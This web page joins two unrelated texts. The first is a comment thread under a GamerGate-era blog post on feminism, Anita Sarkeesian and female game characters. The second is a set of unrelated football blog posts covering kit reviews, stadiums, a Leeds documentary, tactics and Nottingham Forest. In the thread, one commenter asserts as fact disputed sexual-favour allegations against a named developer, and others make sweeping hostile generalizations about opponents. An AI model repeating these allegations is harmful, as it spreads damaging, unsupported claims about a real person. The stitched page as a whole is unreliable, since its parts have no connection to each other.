The new Lara Croft, the one which is approved by new Wave RadFems is only 5’5, scrawny, and she fits the “save the princess” trope much more than the classic Lara Croft did. Funny that, considering that the Newwave RadFems are vehemently appalled by the save the princess trope.
Why does this matter? I’m just pointing out how RadFems create problems out of nothing, Had Lara Croft started out as an average sized woman like thereboot LC, then the RadFems would’ve been pushing for her to be all tall & macho (for a woman.) like her original incarnation.
This is the problem that a lot of content creators are faced with. If there is no women in the game. Change it, not enough women. If the woman is too sexy. Change it, you’re imposing unrealistic beauty standards. If the woman is too ordinary looking. Change it, the women aren’t beautiful enough. It’s just an endless cycle of “fix it, because I don’t like it.”
Rich Vail says:
I think you’ve struck on the core disconnect, here. Gamers, broadly speaking, expect games to be, well, games — mass-market entertainment. They buy games to be entertained, not to be preached to (especially by people who are at best only debatably-qualified to be delivering said sermons). If there’s some social commentary embedded in a game’s narrative, that’s fine — that kind of thing has a long and honorable tradition in fiction in all its forms — but if the commentary begins competing with the story, then it’s a distraction that diminishes the entertainment value of the game.
On the other hand, you have the Sarkeesians of the world arguing that it’s fine to be entertained by “problematic” games as long as one assesses them critically. Setting aside whether these critics are accurately and fairly characterizing the “problems” in the first place, implicit in their argument is the idea that games must be edifying first and fun second: that they must seek to inculcate goodthink in their audience, and if they do an insufficient job of it, then they are compromised no matter how well they may serve as entertainment.
I don’t believe any man that speaks for a woman and claims she “hates” feminism. She can speak for herself, I’m sure. There are women who “hate” feminism but I truly believe that those women either don’t understand feminism, are trying to hard to placate men or they do not have gratitude for their own liberation. And that is truly sad.
Paula Wright says:
I understand feminism – or more accurately ^ feminismS^ – very well Alison. I have been studying them for over a decade now.
Your use of the word “liberation” is interesting, as this is a radical feminist concept, not an equity feminist one. Free from what exactly? I know – patriarchy.
Free from patriarchy literally means free from men. And most women don’t want this.
Equity feminism is about promoting egalitarianism and most of us are very much in favour of this. Radical feminists have no interest in equity however, because as you rightly say, they want liberation.
As individuals they can have it. They can go set up their Herland. I will stay here thanks and defend my territory against them.
Charles Raymond Mousseau says:
Suppose this woman can indeed, speak for herself, but unlike her male partner, she is wise enough to not waste time on the internet trying to hammer sense into stubborn, ignorant, man-loathing radicals?
That this was the only part of his post that resonated with you, while his well-argued on-topic criticism completely flew over your head, suggests his wife is indeed one of those wise people.
Apparently, I’ll never learn either.
You might find this of interest Alison https://porlawright.wordpress.com/2015/12/18/when-is-a-feminist-not-a-feminist/
Mike, pertaining to your comment regarding the sex trafficking ring, that was in the game Watch Dogs. There may indeed be sex trafficking in real life but in the game it is used as a plot point and the females are both sexually objectified and treated like helpless victims. I play many games, all the ones that come out on Steam and I can say that while sex trafficking is not common in games, strip clubs, prostitutes and other forms of hypersexualization of female characters while at the same time (and this is important) disempowering them in some way. Male characters are far less frequently subjected to this kind of thing. It MATTERS, as much as men like you try to pretend it does not.
Bringing up your wife, as though you are speaking for her, is really cheap. You don’t speak for women. You never will.
I can say that as a female gamer who plays first and third person shooters daily, these things are constantly present in games in one form or another and there is one strong message that I get from it: You as a woman are second class and as far as we are concerned, your enjoyment of this game does not matter to us.
“Male characters are far less frequently subjected to this kind of thing.”
Yes, because art reflect life Alison. The male characters are subjected to more of the things they face in real life; i.e. violence and early death.
Sorry I’ve been too busy to comment to you all individually. With the weekend over the hard work must begin again, fighting the good fight and smiting radical feminist nonsense!
It’s amazing to read all your intelligent opinions. We must not get cynical like the radfems and use dishonest tactics. Egalitarians will win this war fairly and squarely!
One of the most uplifting — but also one of the most important! — things I’ve read on the topic. Those who believe they truly are in the right should act like it; disingenuous half-truths are the refuge of the weak.
d4m10n says:
Reblogged this on Blue Ball Skeptics and commented:
Good thought piece reframing GamerGate in terms of the ideological struggle for feminism
Pingback: PORLA WRIGHT: GamerGate: The Players And The Played. What makes people angry with Sarkeesian (a… | feedreadnews.com
#GamerGate: My View…
http://thevailspot.blogspot.com/2014/10/gamergate-my-view.html
Don’t know how to track back…but my post started as a comment here, but WordPress wouldn’t let me post it for some reason!
tariencole says:
Reblogged this on The Worlds of Tarien Cole and commented:
I’ve been wanting to write on #GamerGate for a long time. But this pretty much sums up the Sarkeesian angle. Then there is the fact that trading favors for positive reviews—in any manner, whether for coin, jobs, or in the horizontal position–in not just wrong, it’s so unethical as to render the person unfit for any work above Food Service the rest of their lives.
And to be clear, the payment of favors for positive reviews is NOT a new thing in gaming. Stepping into the wayback machine, there is the infamous example of Ascendancy: http://en.wikipedia.org/wiki/Ascendancy_(video_game) Where the game reviewer wrote the barking STRATEGY GUIDE. Uh…yeah.
The lack of ethics in game reviews is not a new problem. Blaming the gamers for the lack of ethics in reviews, OTOH is a new, salacious low.
People make up stories. They claim journalists are trading favors for positive reviews of games made by female developers, who give up their bodies for positive reviews, ie. claims made by Quinn’s ex-boyfriend which are probably false.
The accusations made by Zoe Quinn’s ex-boyfriend were likely untrue. Why there was an entire movement over it without anyone questioning if it was even valid speaks volumes about the misogyny in the industry. And it speaks volumes about how eager many men are to throttle women any chance they get. #Gamergate was nothing more than a gross display of that. I don’t think it had anything to do with journalism.
No. They weren’t untrue. That’s why the defense went to ‘slut shaming’ and ‘why should she be feel ashamed of who she sleeps with.’ If it was untrue, that would’ve been open and shut.
But it wasn’t just one instance. And as I noted in my 1st article, and you patently ignored, favors of all kinds for positive reviews in video gaming is NOT a new thing. It’s been going on for DECADES.
And that people who call this out. And call out the lamestream media that supports this, being taken to task as if they were sexist is asinine.
I’m not a gamer, but I’m very glad to see the gamers standing up for themselves. They deserve a lot of credit for confronting this situation so effectively; especially considering that a lot of major media outlets have taken the side of their attackers.
A similar community of ideologues have been attacking the software programming community for several years now. Their tactics and behavior are basically the same – right down to the activists posing as insiders, the melodramatic accounts of personal victimization, their tendency to lie, and their aggressively malicious characterization of the very community that they claim to be so concerned for.
I think that what gamers have correctly identified, is that they are dealing with bigots. This isn’t a case of impassioned activists going too far. The ‘SJW’ and their allies are motivated by the desire to harm people. They don’t like the sort of people that they’ve identified as gamers and programmers and they want to destroy their reputations and the communities and institutions that they’ve built.
It’s a fallacy to believe that there are “gamers” and then there is Anita Sarkeesian and all her non-gaming supporters. I am an avid female gamer (I own 120 first and third person shooter games and have played over 800 hours on my favorite ones. I’ve been playing games since Atari in the 1970s). I’m also have a graduate degree in psychology. I agree with Anita Sarkeesian. Her research reflects my experience as a hardcore female gamer.
I think she has done a great job explaining to people the problems that plague games, especially concerning female characters.
The people who have attacked her work largely don’t understand how to read research and they don’t understand how to critique it. I’m willing to bet most of the people who bash her haven’t actually watched her videos. They really are that immature and stupid. They are largely #Gamergate and the whole movement is a sham. It really doesn’t have anything to do with journalism. As far as I can see, the only thing it really has to do with journalism, is that the people who are attacking journalists are really, really pissed off that journalists have essentially become what they see as white-knighters, looking out for the interests of a so-called small minority of female gamers instead of accurately reporting on games. The reason this thinking is wrong is because those same people are wearing sexism blinders – they are mostly a bunch of men who can’t see the sexism in games so attack journalists for unethical writing because they don’t see it.
#Gamergate isn’t really about ethics in journalism. It’s about ignorance of sexism and that’s why sexism and misogyny became a huge sticking point for #Gamergate and pulled it under. The whole reason #Gamergate exists is because sexism-blind people formed a movement.
The “problem” is that even in games, art reflects life and radical feminists like Sarkeesian have no idea what female power looks like if it doesn’t resemble male power. That’s plain ignorance, which is the basis of her bias and work.
And, as a published, peer reviewed researcher I do know how to read research. It’s telling how she doesn’t put her self published research through peer review or engage in open debate with critics such as myself, who are neither male, misogynist or sexist.
She directs attention to a lunatic minority (who troll everyone) to deflect attention from this.
She is, in that true American tradition, a carpetbagger
“It’s a fallacy to believe that there are “gamers” and then there is Anita Sarkeesian and all her non-gaming supporters.”
Who has ever said that her supporters are non-gamers? They are radical feminist sympathisers. There’s the fallacy right there.
curtis maxfield says:
very good read! thanks so much for taking the time to write this awesome peace.
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Charles Comer (@proffsee) says:
This is so clear, informative, cogent, and NEEDED! If no one see this current culture war as a budding crises that would be unfortunate. My hope is that clarity of mind such as this will ultimately be more impactful than the hysteria, divisiveness, and downright irrational meanness that I so frequently see from the likes of Sarkeesian, Valenti, and Marcotte. This lot seem to believe that they speak from a position of impunity — a true God complex — where their statements are also their reasons.
In the end, no one will be better off. Ethics are ultimately for the cohesion, not the dissolution, of community. These agony aunts need to support their versions of justice with ethics.
navigator1965 says:
You’ve documented gender narcissistic attributes of ideological feminists. Having been married to a woman with expert-confirmed narcissistic personality traits for 19 years, I assure you this is true. I see essentially similar narcissistic traits in ardent feminists as I did in my ex-wife.
Let me know if you’d like a complimentary, no-strings-attached copy of my first book on the topic: http://www.michaelmcconaughey.com/reviews.html. You’ll have a eureka moment regarding these feminists, I assure you.
Local Professor Janice Fiamengo (super lady) endorses the book and its gender narcissism thesis. In the future sequel, I think I can bridge Lasch’s “The Culture of Narcissism” with Gibbon’s “Decline and Fall of the Roman Empire” via something I refer to as the unified construct of gender narcissism.
themirrorbooks@gmail.com
Dear Paula
Excellent piece, your writing and thinking is always spot on.
You might be interested in Gavin McInnes’ podcast ‘Free Speech’ featuring Justine Tunney. They examine ‘GamerGate’ in a very clear and rational way that reminds me of your work.
diannaart says:
Right on. Women like Tunney should know by now they have no right to criticize men – women’s lib has a lot to answer for, now we have female doctors, soldiers, truck drivers – where will it end?
That comment bears no resemblance to the interview
@Paula
This isn’t a blog about women knowing their place?
McInnes is very clear, for example he believes that women should not attend spring break because they cannot hold their liquor and “boys will be boys”; women are just asking for trouble – just like those women who expect to be taken seriously when they criticize games.
No. Where do you get that idea?
Lets do one question at a time.
@ Paula
<<<<<>>>>>
From McInnes himself, no-one has offered any disagreement to his thoughts on women.
Sorry, I forgot the link:
Rakeela Deskairn (@Deskairn) says:
Thank you for this post full of useful links! I especially liked the “recent study” of online trolling one. That is data which may be useful to me in my life.
Sufiah Yusof says:
Delighted to have discovered your writing. Will look forward to following.
Few points.
1. There is something emotionally unhealthy about people in a very privileged culture (I’m very poor by UK standards and I have a GREAT standard of living by world standards) who simply don’t have the tools to be content.
(and instead gravitate towards manipulated narratives about women’s pain and suffering in order to feel better about themselves?).
2. Re, Gamergate it would seem some geeky gaming dudes (sorry but it’s late at night and I can’t think of a softer term!) are more of a “soft target” than confronting anything real?
The size of Lara Croft’s tits is interesting to very few people.
I’m a confident but average looking woman who is an ethnic minority, and I am definitely not worried that a computer game which I will probably never see in my life doesn’t have characters that look like me.
If some guy I don’t know and wouldn’t want to date (and vice-versa) wants to fantasise over Lara Croft that is not a problem for anyone.
What IS insulting is some self-proclaimed spokeswoman for women claiming that I’m now lacking in self-esteem because of this.
I actually like the way I look and LOVE planning what dress I’m wearing for a Friday night date or art opening. Being a woman is fantastic!
But according to those who profit out of women’s insecurities, is “not allowed”.
I “should” be crying in a corner with low self-esteem, else I’m deluded.
3. I was the subject of some media stories when I was younger (which led me to blogging)
What has really struck me is (not restricted to any “side”, both from Sun and from the Guardian) readers literally getting off on manipulated tales of women’s (people’s?) woe and misery and (generally created and stimulated by the journalists) drama.
4. It doesn’t seem like a battle between Men And Women, it seems the battle is the “media/political class” anxious to protect its privilege and monopoly over commentary? Watch how many journalists will switch from the Mail to the Independent with ease.
(Dunno if you watched the last Sherlock Holmes which indicates how arms manufacturers provoked war in order to profit from the weapons trade?
Just a story, but I reckon the media likes promoting artificial drama merchants because that’s what it makes it’s own living out of).
Sufiah Yusof
Patrick Murphy says:
Old article, but I just heard about gamergate so I’m getting caught up, wanted to say love it. Funny how Alison in the comments called what Sarkeesian does research, probably skipped to the comments, truthfully I skipped the last paragraphs cause the comment section drew me in, I swear I’ll go back, and didn’t even read you accurately calling it ideology, we’re talking about claims that have to hide from review or even just immature criticism with no immunity of rationality, never trust something that requires that insane amount of insulation. Though as a psychologist she probably knows what she’s talking about, but in the end we are talking about, and she should know, a ‘problem’ in a market catering to an audience with brains(cause of the psychology) though, there’s no changing that without changing society as a whole, or rather instincts, I happen to like boners, not really in games, kinda like watching porn without jerking off, it’s just weird, but I know there are those who are drawn toward it more than accuracy. My own boner, to clarify. Though there are some rather gorgeous ones out there I would get to know, this is confession time now btw. If someone happens upon this, good day. This is usually when I delete all of this cause nobody cares, especially back in 2014, but what the hell.
Also wanted to say I’m being harsher than I normally would since I’m sure nobody will read it, and the probably small chance of being moderated out anyway.
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Darwinian Gender Studies: Unpoisoning the well →
Sexy Isn’t Sexist
Darwinian Gender Studies
Categories Select Category #abortion anthropology Egalitarianism politics Equity feminism evolution female intrasexual competition feminism GamerGate gender In the news Movies mra palaeontology philosophy politics Radical feminism sexual selection sjw Uncategorized Video Games
An Old Sexual Manifesto from 2011
When is a feminist not a feminist?
In Defence of Reformed 'Patriarchy'.
Sexy Isn't Sexist or The Allegory of the Peacock's Train
#abortion anthropology Egalitarianism Equity feminism evolution female intrasexual competition feminism GamerGate gender In the news Movies mra palaeontology philosophy politics Radical feminism sexual selection sjw Uncategorized Video Games
[Paula Wright] – Qua… on When is a feminist not a femin…
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Kit review: Klabu, rebuilding lives through football kits
September 14, 2019 / postandinfooty / Leave a comment
Football is priceless. When you connect sweetly with a volley, touch a ball down dead from 50m in the air, or lash a free kick into the top corner from 20 yards, nothing can compare. You see, football isn’t a game, it’s a lifestyle. It’s going to the park from dawn till dusk, sliding knee celebrations after a rain shower. It’s collecting Match Attax, imitating the best goals with your mates from the weekend.
It’s doing rock-paper-scissors over who has to jump over the fence to retrieve the ball, or bending over for stingers after heads and volleys. Football- and in a wider context, sport- is an essential learning curve for the character of the human being. It teaches you how to lose, how to win, how to make friends and, most importantly, how to have fun.
Unfortunately though, football is an exclusive party. Through various different reasons, many children, men and women across the world will never get the chance to kick a football- something so pure that it should almost be a human right. And Klabu is determined to make this a reality.
Founded in 2017, Klabu- translating simply to ‘club’ in Swahili – is an Amsterdam-based charity that aims to help rebuild lives by setting up sports schools in refugee camps. There are 25 million refugees worldwide, half of which are under 18, wasting their potential talent for the endeavours of surviving. Klabu’s goal is to set up 10 camps in 5 years, powering sports for 100,000 refugees across the globe. To fund this, the charity came up with something rather ingenious : football shirts.
The Klabu tee is special not just for the moral significance behind the shirt, but for the design itself. With a geometric turquoise-orange colour scheme, the 19/20 home shirt will lure in the eye of any customer. £60 isn’t cheap, yet for the cause, the quality of the fabric, and the authenticity of the design, it was worth every penny. The crest reads ‘Kalobeyei spirit’, depicting two giraffes locking necks. The Kalobeyei settlement in Kenya holds a unique place in the heart of the charity- it is the location of Klabu’s first ever camp. Measuring 15 square kilometres, the settlement primarily holds South Sudanese refugees after war broke out in South Sudan in 2013. Lilian- donning the purple and pink away shirt- is a spokeswoman for the settlement. “We are like you, we have dreams, we have goals we want to achieve in life. We are all human. Klabu is a chance for our voices to be heard.”
The shirt may be the coolest on the continent, and a welcome addition to any shirt collection on the planet, but that’s not what matters. It’s about children like Lilian. Children who’s voices are too often drowned out by gunshots and war cries, but through the positive power of sport and the Kalobeyei spirit can finally make themselves heard. “I want to be Messi, I want to be Ronaldo” enthuses a girl from Kalobeyei. Far-fetched ? Possibly. But, if given the chance, why not ?
Aesthetics: 8.8
Comfort: 9.1
Authenticity: 9.4
Rarity: 8.2
Retro ? : No.
Craven Cottage: a masterpiece of old and new
August 31, 2019 / postandinfooty / Leave a comment
Fulham fans are probably pulling their hair out reading this. And no, not because they were beaten 2-1 last Saturday after amassing 78% possession, but because we are assessing a ground, their ground, which is only 75% completed. In March last year, Fulham released the blueprint for their new corporate riverside stand. Renovations began in the summer, leaving the stand unavailable for this season and most likely the next. The wait will be worth it though, with the new stand extending majestically out into the Thames and raising the capacity of Craven Cottage to almost 30,000.
Ignore that temporarily uninhabited part of the ground, however, and you have an absolute peach of a football stadium. Spacious; modern but in no way soulless; and then there’s the famous cottage nestled quaintly in the corner of the ground, the symbol of Fulham football club and it’s 144 year history. The cottage hosts the dressing rooms, along with a balcony for the owners to spectate from. It is not the only striking aspect of the ground, though. Walk along the Stevenage Road Stand, and -if it weren’t for the sporadic Fulham badge and ticket offices at the end- you wouldn’t have any idea there was a football pitch behind it. Erected in 1905, the stand can easily be mistaken for terrace housing, with it’s red-bricked façade providing another utterly unique aspect to an already mystifying ground.
Much like the San Siro, Craven Cottage manages to fuse old and new. One minute you’re marvelling at the ancient cottage, the next you’ve got a magnetic pint in your hand. The stadium’s concourse beneath the away fans’ stand is a slick, open-air plan, equipped with large TV’s and hot-dog stands that don’t, for once, use horse meat.
It was a welcome break from the grimy, claustrophobic tunnels of the City Ground. True, the old-school grounds are often the more atmospheric, yet Craven Cottage and, in many aspects, the new Tottenham Hotspur stadium, have proved that you can harness both new technology and an intimate spectating experience.
A pet-hate of fans around the world is the misplacement of their stadiums. Location can mean everything. Too often are sacred grounds plopped beside some motorway in the middle of nowhere, away from the heart of the city. It robs the fans. Craven Cottage, though, is famously situated on the banks of the Thames, surrounded by a prosperous housing estate and the lush Bishop’s park stretching on from Putney Bridge. And when I say a prosperous housing estate, I mean a prosperous housing estate. I’m talking millions of pounds for semi-detached houses.
That’s West London for you, and in many ways that’s Fulham for you. With celebrity fans from Michael Jackson to Richard Osman, Fulham is a real glamour club, and a rich one too. Lest we forget, Shahid Khan- Fulham owner and billionaire- was on the verge of buying Wembley a year or so ago. Of course, they aren’t in the elite bracket- but for a ‘small’ club, Fulham are one of the richest out there.
5 talking points: Take Us Home, Leeds United
August 23, 2019 August 28, 2019 / postandinfooty / Leave a comment
“I started to feel sorry for Leeds for a minute… and then I remembered it was Leeds,” was a tweet that best encapsulated Take Us Home. Amazon Prime, they’ve done it again. Just like Man City’s All Or Nothing series a year or so ago, Amazon prime have once again produced an absolute peach of a documentary, a documentary this time so engaging it turned fans from all across the country into Leeds supporters for at least 45 minutes. Even though- as a Forest fan and follower of the Championship- the outcome was a formality before the first episode, you couldn’t help but find yourself attached to the story on a visceral level.
1.Victor Orta, what a man
It was entirely unforeseen that the most likeable person in Take Us Home would not be a player, coach, or kitman as it was in the Manchester City documentary. No, in fact, it was the man in the suit, the sporting director Victor Orta. If every sporting director was this much fun, the world be a much better place, that’s for sure. Displaying a refreshing zeal for his job, Orta captured the hearts of viewers with his outpourings of emotion. The Spaniard was in tears after the Daniel James deal fell through, but the abiding image was Orta, there in the executive box, double fist-pumping the air in sheer hysteria at a late Leeds equaliser.
2.Daniel James was nearly Leeds
When Daniel James came of the bench to bag Man Utd’s 4th goal on his Old Trafford debut 12 days ago, all his suffering over the last 6 months at Swansea was well and truly put to bed. But he could, and should have headed an entirely different path. Take Us Home went behind the scenes to reveal a transfer saga that was actually astonishing. James, at the time a Swansea player, was a hair’s breadth away from becoming a Leeds player in January. Having passed his medical, chosen his squad number, and completed the photoshoots, it seemed only to be a matter of time until the Swansea board gave their nod of consent. But it never came. So, packing his bags up, James began the long, painful drive through the night back to South Wales. The signing would have given Leeds’ promotion credentials an almighty boost. “Daniel James, he wants to be Leeds,” sang the Leeds’ fans on his return to Elland Road with Swansea. But a star performance against Manchester City in the FA cup and the Premier League clubs began to sniff around. And, low and behold, 3 months or so later, James was holding a certain red shirt high and proud on the fields of Old Trafford.
3. The paradox of Elland Road
Leeds United are an absolute giant of a club. Being the only club in the city, and with their success in the late 60’s under Don Revie, league title in 1992 and European exploits in the early 2000’s, the club attract a huge following from all across the world. Amazon Prime were determined to portray this. The series included the incredible story of a man travelling all the way from Malaysia bringing his wife to a match against Sheffield United for their honeymoon, interviews with the avid Scandinavian following known as ‘The Scandinavian Whites”, and a legendary quote from one Leeds fan saying “Leeds come before everything, before family, kids, everything.” Elland Road is never short of noise and support on matchday. But the passion of the faithful can often prove a double-edged sword. Interviews with Luke Ayling and Adam Forshaw revealed the abuse received on social media after a sub-par performance or bad result. “People forget your a person sometimes,” claimed an emotional Forshaw. Ayling elaborated on the unfairness of Twitter hate, “People say ‘oh he’s crap, get him out’, and then you think hold on a minute, at the start of the season I was the best thing since sliced bread!”
4. Where was the dressing room footage ?
To be quite honest, it was a real disappointment to have no dressing room footage. The prospect of seeing the enigmatic Bielsa’s team talks lured many of us in, but there was nothing of the sort. The highlights of the Man City documentary took place in the dressing room: Guardiola fuming at his players, “Sit down ! Nobody Talk!”, and Fabian Delph’s row with Yaya Toure at half time in the FA cup against Wigan. But, in retrospect, it is understandable why we weren’t granted that in Take Us Home. Bielsa, the paranoid perfectionist, would not risk giving his tactics away for some futile documentary. A sole blemish in what was, on the whole, a fantastic series.
5. Bielsa: should he tweak his methodology ?
Marcelo Bielsa has two fundamentals: a small squad to work with, and a high-energy style of football. But are his ideas routed in reality ? Can you have both of them ? Take Us Home shed light on the ravaging injuries for Leeds United last season, primarily due to the physical demands set on the players by their manager. The board haven’t exactly bolstered the squad this summer, so will injuries take their toll on another Leeds United campaign ?
Tactics explained: modern football’s glamorous 4-3-3
Not since the Black Death some 700 years ago has anything spread across Europe as quickly as possession-based football. As the technical abilities of footballers improved exponentially, and revolutionaries Cruyff, Bielsa and Guardiola inspired with their success, more and more teams have since jumped on the bandwagon. And the 4-3-3 ? It is the go-to system for facilitating this philosophy.
The 4-3-3 set up (right). Often in a 4-3-3, the striker drops deep to link up-play, in what is known as a false 9 role.
4-3-3- triangles
The triangle is the second most powerful combination on the pitch (behind the diamond). In a triangle, the player with the ball has more than one option to pass to, forcing defenders to make a choice on which one of those options to shut down, which then creates gaps to be exploited. Although for these triangles to work, there must be movement, or defenders can easily man-mark each option.
The 4-3-3 possesses triangles all across the pitch, meaning the player on the ball almost always has two options, thus reducing the chances of losing the ball and making it easier to build up play on the floor. One of the deadliest examples of a triangle in the 4-3-3 is between the outside midfielder, full-back and winger. When the full-back has the ball, he can either go inside to the midfielder for a one-two or down the line to the winger. Pace is necessary though, so the full-back can evade his marker to either be an option for a one-two for a midfielder, or overlap the winger to get down the line into the space created. At Manchester City, these routines have become almost subconscious, with Walker (full-back), David Silva (outside midfielder) and Mahrez or Bernado Silva (winger). The combination is so seamless because Silva and Mahrez naturally drift inside, leaving space for Walker to overlap with his pace down the flank.
Midfield dominance
The triangle controlling play, however, is the one in central midfield. Busquets, Xavi, Iniesta. Untouchable. Games are won and lost in the midfield, so it’s no surprise Barcelona won the treble in 2009 with these three. They had the perfect balance. The deeper, central midfielder Busquets would provide the first link between defence and attack, while also thwarting opposition attacks in between the lines. Xavi was the shuttler, constantly receiving the ball up and down the pitch and passing forward. Iniesta was different, usually the furthest forward, and able to thread passes through the eye of a needle. Yet when options to pass forward were limited, these three could create a dizzying passing triangle. The benefit of the 4-3-3 is that it outnumbers a two man central-midfield, making it easier to keep the ball. Teams would switch to a three to combat this, but Barcelona were one step ahead. A certain Lionel Messi would drop deeper to outnumber the opposition once again.
4-3-3 (squares) outnumber two man-central midfield.
Defensive attributes
4-3-3 is also ideal for a pressing game. When the ball is lost, three players are almost always positioned high up up the pitch, meaning there is less distance to cover to retrieve the ball, thus resulting in less time for the opposition to get comfortable in possession. Liverpool use a 4-3-3, with Mané, Salah and Firmino as the forward pressing trio. Although winning the ball high up the pitch creates goalscoring opportunities, it is also a defensive strategy, preventing the opposition from building up potentially dangerous attacks.
In your typical 4-3-3, possession-based pressing game, a very high block will be deployed. A high block is where the whole team pushes up the pitch to squeeze the opposition in their own half during the press, but also to maintain possession further up the pitch. Man City deploy a very high block, their defenders taking position near the halfway line. But when the other team win the ball back, and the press isn’t quick enough, the space behind the defence can be exploited with a long-ball towards the pacy attackers. However Manchester City have quick defenders at their disposal, and a sweeper keeper in Ederson who can rush out and claim the long-balls.
“No system is sacred,” are the wise words of Ruud Gullit in his book, How To Watch Football. And he’s right, nor is the 4-3-3, it just helps to accommodate a more aesthetically-pleasing style of football than, say, the 4-4-2. For clubs like Ajax and Barcelona, however, the rules seem to be different. The 4-3-3 is inscribed into the clubs’ DNA. A dogma that often pays off- Ajax’s fairytale run to the Champions League semi-final, Barcelona’s 2009 treble- but can also work against them. Specific types of players are needed for specific systems, and without these players tactical flexibility is needed, something which may have been missing at times from these two giants.
Kit Review : Loyle Carner FC, the next big thing on the music-football scene
August 5, 2019 August 12, 2019 / postandinfooty / Leave a comment
Music and football, believe it or not, are intertwined across many fronts. You wouldn’t have thought it, would you ? Football is far too vulgar and classless for the art that is music, surely ? Cast your mind back to October 12th, 2018. It was Croatia vs England, a group-stage match at the Stadion HNK Rijeka in the inaugural Nations League- with a twist. Sanctioned by UEFA for drawing a swastika on the pitch during a Euro 2016 qualifier against Italy, Croatia were forced to play the match behind closed doors. What once was a fiery encounter with scores to be settled from the World Cup semi-final earlier that year was now a dull, lifeless affair. The game ended, predictably, 0-0. You’d rather have watched paint dry. In fact, no. You’d rather have watched dry paint dry.
It was a seminal match though. For arguably the first time ever, we had concrete evidence on the reliance of fans to football. What it also vindicated was the notion that songs, and for that matter music, still had their part to play in modern football. Cheering every now and again at a goal or a bone-crunching tackle can spur a team or player on, but what really creates the atmosphere at football grounds are the songs. The Stone Roses’ Waterfall covers, the Seven Nation Army renditions and a little more close to home, Nottingham Forest’s famous Mull of Kintyre cover. Songs like Mull of Kintyre, say, or Liverpool’s “You’ll Never Walk Alone” are part of football folklore. Sung by tens of thousands of fans in tandem, it never fails to make the hairs on the back of you neck stand up.
Yet while Loyle Carner’s slow hip-hop tunes may never make it to the terraces, he certainly plays his part on the music-football scene, in many ways taking the baton from the Gallagher brothers and the 90’s Manchester bands. To commemorate the release of his new album “Not waving, but drowning”, Croydon-born Carner teamed up with Umbro to release his own football shirt- Loyle Carner FC. With only a handful made, to get my hands on one was a blessing. The shirt is a spin-off of the iconic England 2000 kit, arguably the greatest England top of all team, and one of the finest kits Umbro (a budget sportswear company by definition) has ever produced.
If Carner’s not in the studio, he is either watching football- he dedicated a whole song in his new album to England’s world cup heroics- or hunting down retro kits, with the outspoken Liverpool fan known for offering tickets to his gigs in return for a retro shirt he does not already possess. It’s worth it, his music is special.
Retro factor: 9.1
Don’t expect Forest to come firing out the blocks
August 3, 2019 August 3, 2019 / postandinfooty / Leave a comment
2019 summer has felt rather familiar. Take a trip back in time to one year ago, summer 2018. Kieran Trippier smashing in that free-kick in Moscow, pints flying everywhere- only for the nifty Croatians to shatter English hearts (Kane should have squared it to Sterling). It was the beginning of Southgate’s revolution. However, rather more close to home, another revolution was unfolding. “Viva la revolución,” read the banner earlier that year in the Lower Bridgford Stand upon Aitor Karanka’s inauguration as Nottingham Forest manager, simply translating to “Live the revolution”.
U23 friendly vs Mansfield Town at the One Call Stadium ( s***hole)
Cause for optimism was in abundance. Aitor Karanka was a proven promotion-winning manager, far above the level Forest had had to contend with in recent years ; and then there was Evangelos Marinakis. Unlike certain previous owners, the Greek shipping merchant was not afraid to splash the cash, and brought an unforeseen ambition and drive to the club.
A summer of transfer activity ensued that Forest fans couldn’t have dreamed of. Taking a leaf out of Wolves’ Portuguese-inspired, promotion-winning campaign the season prior, Forest scooped up three promising, young Portuguese talents. Namely, Gil Dias, Diogo Gonçalves and our record, £13m signing Joao Carvalho, with the former two on loan. These three, along with the signing of proven Championship goalscorer Lewis Grabban, a renewed loan for Jack Colback and the addition of the classy centre-half Tobias Figueriedo had many Forest fans setting their eyes on promotion already. After all, Forest had spent a colossal £25m on transfers. But football doesn’t, and didn’t work like that.
In this stat-driven era of football, we often dismiss ‘soft’ aspects of the game, like the time for foreign players, particularly those taking their baby steps in their footballing career, to acclimatise to the intensity of the English leagues. We turn our noses up at intangible notions such as chemistry, a value that may have been missing in that Forest squad with 14 new faces added to the dressing room that summer. Top 10 was a reasonable, more measured goal- but try convincing an entire fanbase that they’re misguided, and try convincing a brash billionaire owner that has been through 12 managers in 7 years at Olympiacos to allow Karanka more time. Forest finished the season in 9th, not disastrous by any means, but choked a relatively easy chance to sneak into the play-offs under the second manager of the season, Martin O’Neill. And- yes, this is a naff perspective- but come on, should Aitor have remained at the helm, would Forest have finished as low as 9th? Deep down, every Forest fan knows the answer to that, but it hurts to admit it.
So we have to learn our lessons this time around. Sabri Lamouchi’s early moves have been a sweet refresh from the grey clouds of O’Neill’s reign, but what O’Neill had was experience under his belt, and experience in this league, something which Lamouchi does not have, and something he may pay for. Does he know how to combat your Cardiffs, your Prestons and your Blackburns ? Not many teams play this direct and compact in France. As a fan, though, you can’t help but get excited with these new signings. Tiago Silva is like a turbo-charged Carvalho, Adomah’s pace on those flanks could cause all sorts of problems, Aro Muric is arguably the best goalkeeper in the league and while we haven’t seen much yet of Yuri Ribeiro and Alfa Semedo both are very highly rated from their days at Benfica, with the latter valued at £25m and striking uncanny similarities with Paul Pogba. And we can’t forget Joe Lolley. On paper, Forest have one of the best, if not the best squad in the league behind Fulham probably. It will, however, take time for it all to gel together so please, please don’t call for Sabri’s head if results are wayward early on.
Pre season+transfer report
Pre-season has been, on the whole, positive. A superb victory against Atromitos on our tour of Greece was capped off by another thunderbolt from that wand of a left-foot of Joe Lolley’s, while Tiago Silva dazzled under the City Ground lights in the 1-0 victory over Crystal Palace. However, on a more sour note, talisman Joao Carvalho picked up a serious injury against Alfreton Town, ruling him out for the first couple of months of the season along with Tendayi Darikwa, who was at the forefront of Sabri Lamouchi’s plans at right-back. Lamouchi has been lining up in a 4-2-3-1, though not necessarily a Karanka style 4-2-3-1. Karanka’s system was more about shutting the opposition out and counter-attacking, whereas Lamouchi has shown clear intentions to play out from the back. As we build up, the wing-backs push very high, almost to the halfway line, and Watson has dropped back to make it three at the back so we can outnumber the opposing attackers as we build up. Our press has been intense, holding a very high line. So no place for Dawson in the defence, unless we purposefully want to lose. In terms of transfers, the rest of the window should be focused on shifting players out. The likes of Murphy, Bridcutt and Hefele are lingering like bad smells. Get them off the wage bill.
Strong attendance in 1-0 win over Crystal Palace
Recommended team to face WBA
(4-2-3-1) Muric, Cash, Milosevic, Worrall, Robinson, Yacob, Semedo, Tiago Silva, Lolley (RM), Adomah (LM), Grabban
Top six predictions
Tactics explained : the simple 4-4-2
July 21, 2019 August 20, 2019 / postandinfooty / Leave a comment
The 4-4-2
